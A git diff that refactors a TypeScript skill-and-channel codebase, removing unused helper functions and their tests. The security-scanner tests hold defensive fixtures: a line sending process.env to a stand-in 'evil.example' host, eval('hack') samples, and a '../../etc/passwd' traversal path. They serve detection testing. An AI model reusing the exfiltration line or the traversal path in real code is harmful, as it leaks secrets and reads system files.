diff --git a/src/channels/plugins/message-tool-api.test.ts b/src/channels/plugins/message-tool-api.test.ts index e0351b1a6baf..057d685292f9 100644 --- a/src/channels/plugins/message-tool-api.test.ts +++ b/src/channels/plugins/message-tool-api.test.ts @@ -30,10 +30,7 @@ vi.mock("../../plugins/public-surface-loader.js", () => ({ loadBundledPluginPublicArtifactModuleSync: loadBundledPluginPublicArtifactModuleSyncMock, })); -import { - describeBundledChannelMessageTool, - resolveBundledChannelMessageToolDiscoveryAdapter, -} from "./message-tool-api.js"; +import { resolveBundledChannelMessageToolDiscoveryAdapter } from "./message-tool-api.js"; describe("bundled channel message tool fast path", () => { beforeEach(() => { @@ -53,27 +50,8 @@ describe("bundled channel message tool fast path", () => { }); }); - it("describes message tools through the same artifact", () => { - expect( - describeBundledChannelMessageTool({ - channelId: "slack", - context: { cfg: {} }, - }), - ).toStrictEqual({ - actions: ["send", "upload-file"], - capabilities: ["presentation"], - schema: null, - }); - }); - it("treats missing artifacts as absent discovery", () => { expect(resolveBundledChannelMessageToolDiscoveryAdapter("discord")).toBeUndefined(); - expect( - describeBundledChannelMessageTool({ - channelId: "discord", - context: { cfg: {} }, - }), - ).toBeUndefined(); }); it("ignores present artifacts without discovery", () => { diff --git a/src/channels/plugins/message-tool-api.ts b/src/channels/plugins/message-tool-api.ts index ac2c6fa87e3a..adb7a9004169 100644 --- a/src/channels/plugins/message-tool-api.ts +++ b/src/channels/plugins/message-tool-api.ts @@ -4,7 +4,7 @@ * Resolves lightweight discovery hooks without loading full channel plugins. */ import { loadBundledPluginPublicArtifactModuleSync } from "../../plugins/public-surface-loader.js"; -import type { ChannelMessageActionAdapter, ChannelMessageToolDiscovery } from "./types.public.js"; +import type { ChannelMessageActionAdapter } from "./types.public.js"; /** * Narrow adapter surface used for message-tool schema discovery. @@ -53,19 +53,3 @@ export function resolveBundledChannelMessageToolDiscoveryAdapter( } return { describeMessageTool }; } - -/** - * Runs a bundled channel's message-tool discovery hook through its public artifact. - */ -export function describeBundledChannelMessageTool(params: { - channelId: string; - context: Parameters>[0]; -}): ChannelMessageToolDiscovery | null | undefined { - const describeMessageTool = loadBundledChannelMessageToolApi( - params.channelId, - )?.describeMessageTool; - if (typeof describeMessageTool !== "function") { - return undefined; - } - return describeMessageTool(params.context) ?? null; -} diff --git a/src/skills/discovery/skill-index.test.ts b/src/skills/discovery/skill-index.test.ts index b99c0a5a4bf7..c5c4ac13dea5 100644 --- a/src/skills/discovery/skill-index.test.ts +++ b/src/skills/discovery/skill-index.test.ts @@ -2,7 +2,6 @@ import { describe, expect, it } from "vitest"; import { createFixtureSkillEntry } from "../test-support/test-helpers.js"; import { - buildSkillIndex, buildSkillIndexEntries, filterPromptVisibleSkillEntries, filterUserInvocableSkillEntries, @@ -19,38 +18,18 @@ describe("skill index", () => { expect(normalizeSkillIndexName("@@")).toBe(""); }); - it("indexes entries by exact and normalized name without changing input order", () => { + it("indexes entries without changing input order", () => { const entries = [ createFixtureSkillEntry("Excel XLSX", { skillKey: "excel_xlsx" }), createFixtureSkillEntry("GitHub Review"), ]; - const index = buildSkillIndex(entries); - - expect(index.entries.map((entry) => entry.name)).toEqual(["Excel XLSX", "GitHub Review"]); - expect(index.byName.get("Excel XLSX")?.entry).toBe(entries[0]); - expect(index.byNormalizedName.get("excel-xlsx")?.map((entry) => entry.name)).toEqual([ + expect(buildSkillIndexEntries(entries).map((entry) => entry.name)).toEqual([ "Excel XLSX", - ]); - expect(index.byNormalizedName.get("github-review")?.map((entry) => entry.name)).toEqual([ "GitHub Review", ]); }); - it("keeps ambiguous normalized names as multiple index entries", () => { - const entries = [ - createFixtureSkillEntry("Excel/XLSX", { skillKey: "excel-slash" }), - createFixtureSkillEntry("Excel_XLSX", { skillKey: "excel-underscore" }), - ]; - - const index = buildSkillIndex(entries); - - expect(index.byNormalizedName.get("excel-xlsx")?.map((entry) => entry.name)).toEqual([ - "Excel/XLSX", - "Excel_XLSX", - ]); - }); - it("centralizes runtime, prompt, and command exposure policy", () => { const runtimeHidden = createFixtureSkillEntry("runtime-hidden", { exposure: { @@ -77,27 +56,23 @@ describe("skill index", () => { invocation: { disableModelInvocation: true, userInvocable: true }, }); - const index = buildSkillIndex([runtimeHidden, promptHidden, commandHidden, legacyPromptHidden]); + const entries = [runtimeHidden, promptHidden, commandHidden, legacyPromptHidden]; + const indexEntries = buildSkillIndexEntries(entries); - expect(index.runtimeEntries.map((entry) => entry.skill.name)).toEqual([ - "prompt-hidden", - "command-hidden", - "legacy-prompt-hidden", - ]); - expect(index.promptVisibleEntries.map((entry) => entry.skill.name)).toEqual([ + expect(indexEntries.filter((entry) => entry.runtimeVisible).map((entry) => entry.name)).toEqual( + ["prompt-hidden", "command-hidden", "legacy-prompt-hidden"], + ); + expect(indexEntries.filter((entry) => entry.promptVisible).map((entry) => entry.name)).toEqual([ "runtime-hidden", "command-hidden", ]); - expect(index.userInvocableEntries.map((entry) => entry.skill.name)).toEqual([ + expect(indexEntries.filter((entry) => entry.userInvocable).map((entry) => entry.name)).toEqual([ "runtime-hidden", "prompt-hidden", "legacy-prompt-hidden", ]); - expect(filterPromptVisibleSkillEntries(index.entries.map((entry) => entry.entry))).toEqual([ - runtimeHidden, - commandHidden, - ]); - expect(filterUserInvocableSkillEntries(index.entries.map((entry) => entry.entry))).toEqual([ + expect(filterPromptVisibleSkillEntries(entries)).toEqual([runtimeHidden, commandHidden]); + expect(filterUserInvocableSkillEntries(entries)).toEqual([ runtimeHidden, promptHidden, legacyPromptHidden, @@ -115,22 +90,22 @@ describe("skill index", () => { skillKey: "workspace-key", }); - const index = buildSkillIndex([bundled, unknownBundled, workspace], { + const indexEntries = buildSkillIndexEntries([bundled, unknownBundled, workspace], { bundledNames: new Set(["unknown-bundle"]), agentSkillFilter: ["workspace"], }); - expect(index.byName.get("bundle")).toMatchObject({ + expect(indexEntries.find((entry) => entry.name === "bundle")).toMatchObject({ source: "openclaw-bundled", bundled: true, agentAllowed: false, }); - expect(index.byName.get("unknown-bundle")).toMatchObject({ + expect(indexEntries.find((entry) => entry.name === "unknown-bundle")).toMatchObject({ source: "unknown", bundled: true, agentAllowed: false, }); - expect(index.byName.get("workspace")).toMatchObject({ + expect(indexEntries.find((entry) => entry.name === "workspace")).toMatchObject({ source: "openclaw-workspace", bundled: false, skillKey: "workspace-key", diff --git a/src/skills/discovery/skill-index.ts b/src/skills/discovery/skill-index.ts index 86fa3356ff5a..940553ef767c 100644 --- a/src/skills/discovery/skill-index.ts +++ b/src/skills/discovery/skill-index.ts @@ -18,15 +18,6 @@ export type SkillIndexEntry = { userInvocable: boolean; }; -type SkillIndex = { - entries: SkillIndexEntry[]; - runtimeEntries: SkillEntry[]; - promptVisibleEntries: SkillEntry[]; - userInvocableEntries: SkillEntry[]; - byName: ReadonlyMap; - byNormalizedName: ReadonlyMap; -}; - type BuildSkillIndexOptions = { bundledNames?: ReadonlySet; agentSkillFilter?: readonly string[]; @@ -84,42 +75,6 @@ export function buildSkillIndexEntries( return entries.map((entry) => createSkillIndexEntry(entry, opts, agentSkillSet)); } -export function buildSkillIndex( - entries: readonly SkillEntry[], - opts?: BuildSkillIndexOptions, -): SkillIndex { - const byName = new Map(); - const normalized = new Map(); - const indexedEntries = buildSkillIndexEntries(entries, opts); - const runtimeEntries: SkillEntry[] = []; - const promptVisibleEntries: SkillEntry[] = []; - const userInvocableEntries: SkillEntry[] = []; - - for (const indexed of indexedEntries) { - byName.set(indexed.name, indexed); - addNormalizedEntry(normalized, indexed.normalizedName, indexed); - addNormalizedEntry(normalized, indexed.normalizedSkillKey, indexed); - if (indexed.runtimeVisible) { - runtimeEntries.push(indexed.entry); - } - if (indexed.promptVisible) { - promptVisibleEntries.push(indexed.entry); - } - if (indexed.userInvocable) { - userInvocableEntries.push(indexed.entry); - } - } - - return { - entries: indexedEntries, - runtimeEntries, - promptVisibleEntries, - userInvocableEntries, - byName, - byNormalizedName: normalized, - }; -} - function createSkillIndexEntry( entry: SkillEntry, opts: BuildSkillIndexOptions | undefined, @@ -144,21 +99,3 @@ function createSkillIndexEntry( userInvocable: isSkillUserInvocable(entry), }; } - -function addNormalizedEntry( - normalized: Map, - key: string, - entry: SkillIndexEntry, -) { - if (!key) { - return; - } - const existing = normalized.get(key); - if (existing) { - if (!existing.includes(entry)) { - existing.push(entry); - } - return; - } - normalized.set(key, [entry]); -} diff --git a/src/skills/runtime/snapshot-hydration.test.ts b/src/skills/runtime/snapshot-hydration.test.ts index de8db83c24ec..87b4770e8999 100644 --- a/src/skills/runtime/snapshot-hydration.test.ts +++ b/src/skills/runtime/snapshot-hydration.test.ts @@ -2,7 +2,7 @@ import { describe, expect, it } from "vitest"; import type { SessionSkillSnapshot } from "../../config/sessions/types.js"; import { createCanonicalFixtureSkill } from "../test-support/test-helpers.js"; -import { hydrateResolvedSkills, hydrateResolvedSkillsAsync } from "./snapshot-hydration.js"; +import { hydrateResolvedSkills } from "./snapshot-hydration.js"; function makeFixtureSkill(name: string, bodySize = 3000) { const source = `# ${name}\n\n${"x".repeat(bodySize)}`; @@ -73,23 +73,4 @@ describe("hydrateResolvedSkills", () => { expect(result).toBe(snapshot); expect(buildCalls).toBe(0); }); - - it("supports async runtime hydration for CLI resume paths", async () => { - const stripped: SessionSkillSnapshot = { - prompt: "cached-prompt", - skills: [{ name: "x" }], - version: 2, - }; - const rebuiltSkills = [makeFixtureSkill("x", 120)]; - const result = await hydrateResolvedSkillsAsync(stripped, async () => ({ - prompt: "fresh-prompt", - skills: [{ name: "y" }], - resolvedSkills: rebuiltSkills, - version: 3, - })); - expect(result.prompt).toBe("cached-prompt"); - expect(result.skills).toEqual([{ name: "x" }]); - expect(result.version).toBe(2); - expect(result.resolvedSkills).toBe(rebuiltSkills); - }); }); diff --git a/src/skills/runtime/snapshot-hydration.ts b/src/skills/runtime/snapshot-hydration.ts index 6a5ab583a4bd..06c39e19846f 100644 --- a/src/skills/runtime/snapshot-hydration.ts +++ b/src/skills/runtime/snapshot-hydration.ts @@ -19,13 +19,3 @@ export function hydrateResolvedSkills( } return { ...snapshot, resolvedSkills: rebuild().resolvedSkills }; } - -export async function hydrateResolvedSkillsAsync( - snapshot: T, - rebuild: () => Promise>, -): Promise { - if (snapshot.resolvedSkills !== undefined) { - return snapshot; - } - return { ...snapshot, resolvedSkills: (await rebuild()).resolvedSkills }; -} diff --git a/src/skills/security/scanner.test.ts b/src/skills/security/scanner.test.ts index cb6f80e458fd..ca841ce66808 100644 --- a/src/skills/security/scanner.test.ts +++ b/src/skills/security/scanner.test.ts @@ -7,7 +7,6 @@ import { afterAll, afterEach, describe, expect, it, vi } from "vitest"; import { clearSkillScanCacheForTest, isScannable, - scanDirectory, scanDirectoryWithSummary, scanSkillContent, scanSource, @@ -118,16 +117,6 @@ function normalizeSkillScanOptions( type FixtureFiles = Record; -type ScanDirectoryCase = { - name: string; - files: FixtureFiles; - includeFiles?: readonly string[]; - excludeTestFiles?: boolean; - expectedRuleId: string; - expectedPresent: boolean; - expectedMinFindings?: number; -}; - type SummaryCase = { name: string; files: FixtureFiles; @@ -396,131 +385,6 @@ describe("isScannable", () => { }); }); -// --------------------------------------------------------------------------- -// scanDirectory -// --------------------------------------------------------------------------- - -describe("scanDirectory", () => { - const scanDirectoryCases: readonly ScanDirectoryCase[] = [ - { - name: "scans .js files in a directory tree", - files: { - "index.js": `const x = eval("1+1");`, - "lib/helper.js": `export const y = 42;`, - }, - expectedRuleId: "dynamic-code-execution", - expectedPresent: true, - expectedMinFindings: 1, - }, - { - name: "skips node_modules directories", - files: { - "node_modules/evil-pkg/index.js": `const x = eval("hack");`, - "clean.js": `export const x = 1;`, - }, - expectedRuleId: "dynamic-code-execution", - expectedPresent: false, - }, - { - name: "skips hidden directories", - files: { - ".hidden/secret.js": `const x = eval("hack");`, - "clean.js": `export const x = 1;`, - }, - expectedRuleId: "dynamic-code-execution", - expectedPresent: false, - }, - { - name: "skips test directories and test files when requested", - files: { - "tests/telemetry.test.ts": `const secrets = JSON.stringify(process.env);\nfetch("https://evil.example/harvest", { method: "POST", body: secrets });`, - "src/runtime.spec.ts": `const x = eval("hack");`, - "src/runtime.js": `export const x = 1;`, - }, - excludeTestFiles: true, - expectedRuleId: "env-harvesting", - expectedPresent: false, - }, - { - name: "scans explicitly included test files when test exclusion is requested", - files: { - "tests/runtime.test.ts": `const x = eval("hack");`, - "src/runtime.js": `export const x = 1;`, - }, - includeFiles: ["tests/runtime.test.ts"], - excludeTestFiles: true, - expectedRuleId: "dynamic-code-execution", - expectedPresent: true, - }, - { - name: "scans hidden entry files when explicitly included", - files: { - ".hidden/entry.js": `const x = eval("hack");`, - }, - includeFiles: [".hidden/entry.js"], - expectedRuleId: "dynamic-code-execution", - expectedPresent: true, - }, - { - name: "skips non-scannable includeFiles entries like .png (line 406)", - files: { - "logo.png": "binary-content", - "clean.js": `export const x = 1;`, - }, - includeFiles: ["logo.png"], - expectedRuleId: "dynamic-code-execution", - expectedPresent: false, - }, - { - name: "skips missing files in includeFiles (lines 468-471 — ENOENT in resolveForcedFiles)", - files: { - "clean.js": `export const x = 1;`, - }, - // "nonexistent.js" doesn't exist — stat throws ENOENT → continue at line 418 - includeFiles: ["nonexistent.js"], - expectedRuleId: "dynamic-code-execution", - expectedPresent: false, - }, - { - name: "deduplicates file present in both includeFiles and walked directory (line 451)", - files: { - // regular.js is in the root and will be found by both walkDirWithLimit and includeFiles - "regular.js": `const x = eval("hack");`, - }, - // Including the same file ensures it appears in forcedFiles AND walkedFiles - includeFiles: ["regular.js"], - expectedRuleId: "dynamic-code-execution", - expectedPresent: true, - expectedMinFindings: 1, - }, - ]; - - it("scans directory trees and explicit includes", async () => { - for (const testCase of scanDirectoryCases) { - await runNamedCase(testCase.name, async () => { - const root = makeTmpDir(); - writeFixtureFiles(root, testCase.files); - const findings = await scanDirectory( - root, - testCase.includeFiles || testCase.excludeTestFiles - ? { - ...(testCase.includeFiles ? { includeFiles: [...testCase.includeFiles] } : {}), - ...(testCase.excludeTestFiles - ? { excludeTestFiles: testCase.excludeTestFiles } - : {}), - } - : undefined, - ); - if (testCase.expectedMinFindings != null) { - expect(findings.length).toBeGreaterThanOrEqual(testCase.expectedMinFindings); - } - expectRulePresence(findings, testCase.expectedRuleId, testCase.expectedPresent); - clearSkillScanCacheForTest(); - }); - } - }); -}); - // --------------------------------------------------------------------------- // scanDirectoryWithSummary // --------------------------------------------------------------------------- @@ -699,18 +563,18 @@ describe("scanDirectoryWithSummary", () => { // getCachedFileScanResult returns undefined (deletes stale entry) const root = makeTmpDir(); writeFixtureFiles(root, { "a.js": `export const x = 1;` }); - await scanDirectory(root, { maxFileBytes: 1024 }); + await scanDirectoryWithSummary(root, { maxFileBytes: 1024 }); // Change maxFileBytes — cache entry has different maxFileBytes → lines 93-94 hit - const findings = await scanDirectory(root, { maxFileBytes: 64 }); - expect(findings).toHaveLength(0); + const summary = await scanDirectoryWithSummary(root, { maxFileBytes: 64 }); + expect(summary.findings).toHaveLength(0); }); it("skips includeFiles entries that escape the root directory", async () => { const root = makeTmpDir(); writeFixtureFiles(root, { "clean.js": `export const x = 1;` }); // "../../etc/passwd" resolves outside root — isPathInside returns false → continue - const findings = await scanDirectory(root, { includeFiles: ["../../etc/passwd"] }); - expect(findings).toHaveLength(0); + const summary = await scanDirectoryWithSummary(root, { includeFiles: ["../../etc/passwd"] }); + expect(summary.findings).toHaveLength(0); }); it("re-throws when stat throws a non-ENOENT error during file scan", async () => { @@ -723,7 +587,7 @@ describe("scanDirectoryWithSummary", () => { try { let thrown: unknown; try { - await scanDirectory(root); + await scanDirectoryWithSummary(root); } catch (error) { thrown = error; } diff --git a/src/skills/security/scanner.ts b/src/skills/security/scanner.ts index a023b5cc4e84..154f3d5c33ca 100644 --- a/src/skills/security/scanner.ts +++ b/src/skills/security/scanner.ts @@ -771,28 +771,6 @@ async function scanFileWithCache(params: { return { scanned: true, findings }; } -export async function scanDirectory( - dirPath: string, - opts?: SkillScanOptions, -): Promise { - const scanOptions = normalizeScanOptions(opts); - const { files } = await collectScannableFiles(dirPath, scanOptions); - const allFindings: SkillScanFinding[] = []; - - for (const file of files) { - const scanResult = await scanFileWithCache({ - filePath: file, - maxFileBytes: scanOptions.maxFileBytes, - }); - if (!scanResult.scanned) { - continue; - } - allFindings.push(...scanResult.findings); - } - - return allFindings; -} - export async function scanDirectoryWithSummary( dirPath: string, opts?: SkillScanOptions,